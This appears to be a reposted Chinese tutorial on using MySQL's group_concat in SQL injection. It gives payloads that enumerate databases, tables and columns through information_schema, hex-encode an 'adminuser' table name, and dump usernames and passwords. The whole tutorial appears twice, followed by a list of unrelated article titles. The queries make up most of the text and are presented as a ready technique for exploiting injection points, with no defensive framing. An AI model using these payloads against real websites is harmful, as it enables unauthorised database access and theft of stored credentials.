mysql 5注入中group_concat的使用
来源:互联网 发布:天龙八部 知乎 编辑:程序博客网 时间:2024/04/25 18:58
mysql中的information_schema 结构用来存储数据库系统信息
information_schema 结构中这几个表存储的信息,在注射中可以用到的几个表。
| SCHEMATA ――>存储数据库名的,
|——>关键字段:SCHEMA_NAME,表示数据库名称
| TABLES ――>存储表名的
|——>关键字段:TABLE_SCHEMA表示表所属的数据库名称;
TABLE_NAME表示表的名称
| COLUMNS ――>存储字段名的
|——>关键字段:TABLE_SCHEMA表示表所属的数据库名称;
TABLE_NAME表示所属的表的名称
COLUMN_NAME表示字段名
可以看到,我们只要通过注射点构造查询语句遍相关字段,就可以得到我们想要的信息了。
爆所有数据名
select group_concat(SCHEMA_NAME) from information_schema.schemata
得到当前库的所有表
select group_concat(table_name) from information_schema.tables where table_schema=database()
得到表中的字段名 将敏感的表进行16进制编码adminuser=0x61646D696E75736572
select group_concat(column_name) from information_schema.columns where table_name=0x61646D696E75736572
得到字段具体的值
select group_concat(username,0x3a,password) from adminuser
information_schema 结构中这几个表存储的信息,在注射中可以用到的几个表。
| SCHEMATA ――>存储数据库名的,
|——>关键字段:SCHEMA_NAME,表示数据库名称
| TABLES ――>存储表名的
|——>关键字段:TABLE_SCHEMA表示表所属的数据库名称;
TABLE_NAME表示表的名称
| COLUMNS ――>存储字段名的
|——>关键字段:TABLE_SCHEMA表示表所属的数据库名称;
TABLE_NAME表示所属的表的名称
COLUMN_NAME表示字段名
可以看到,我们只要通过注射点构造查询语句遍相关字段,就可以得到我们想要的信息了。
爆所有数据名
select group_concat(SCHEMA_NAME) from information_schema.schemata
得到当前库的所有表
select group_concat(table_name) from information_schema.tables where table_schema=database()
得到表中的字段名 将敏感的表进行16进制编码adminuser=0x61646D696E75736572
select group_concat(column_name) from information_schema.columns where table_name=0x61646D696E75736572
得到字段具体的值
select group_concat(username,0x3a,password) from adminuser
- mysql 5注入中group_concat的使用
- mysql 5注入中group_concat的使用
- Mysql中group_concat的使用
- mysql5注入中group_concat的使用
- MySQL中group_concat()函数的使用
- MySql中group_concat()函数的使用
- mysql中GROUP_CONCAT的应用
- mysql的group_concat函数使用
- MYSQL函数group_concat的使用
- MySQL : group_concat( ) 函数的使用
- mysql group_concat函数的使用
- mysql中GROUP BY结合GROUP_CONCAT的使用 [转]
- mysql中GROUP BY结合GROUP_CONCAT的使用
- mysql中GROUP BY结合GROUP_CONCAT的使用
- mysql中GROUP BY结合GROUP_CONCAT的使用
- mysql中GROUP BY结合GROUP_CONCAT的使用
- mysql中GROUP BY结合GROUP_CONCAT的使用
- mysql中GROUP BY结合GROUP_CONCAT的使用
- 我花1700元,造了个LED灯
- div漂浮在flash上面
- 全球最大网页游戏公司Bigpoint进军美国
- Design pattern----Facade Pattern
- [news]zynamics acquired by Google !
- mysql 5注入中group_concat的使用
- STL基本知识vector
- 美国信息交换标准代码
- duck duck go VS Google
- VC ADO技术简介
- 无言的情怀
- 一类最短距离问题
- aspnetpager使用方法
- C#中MessageBox用法大全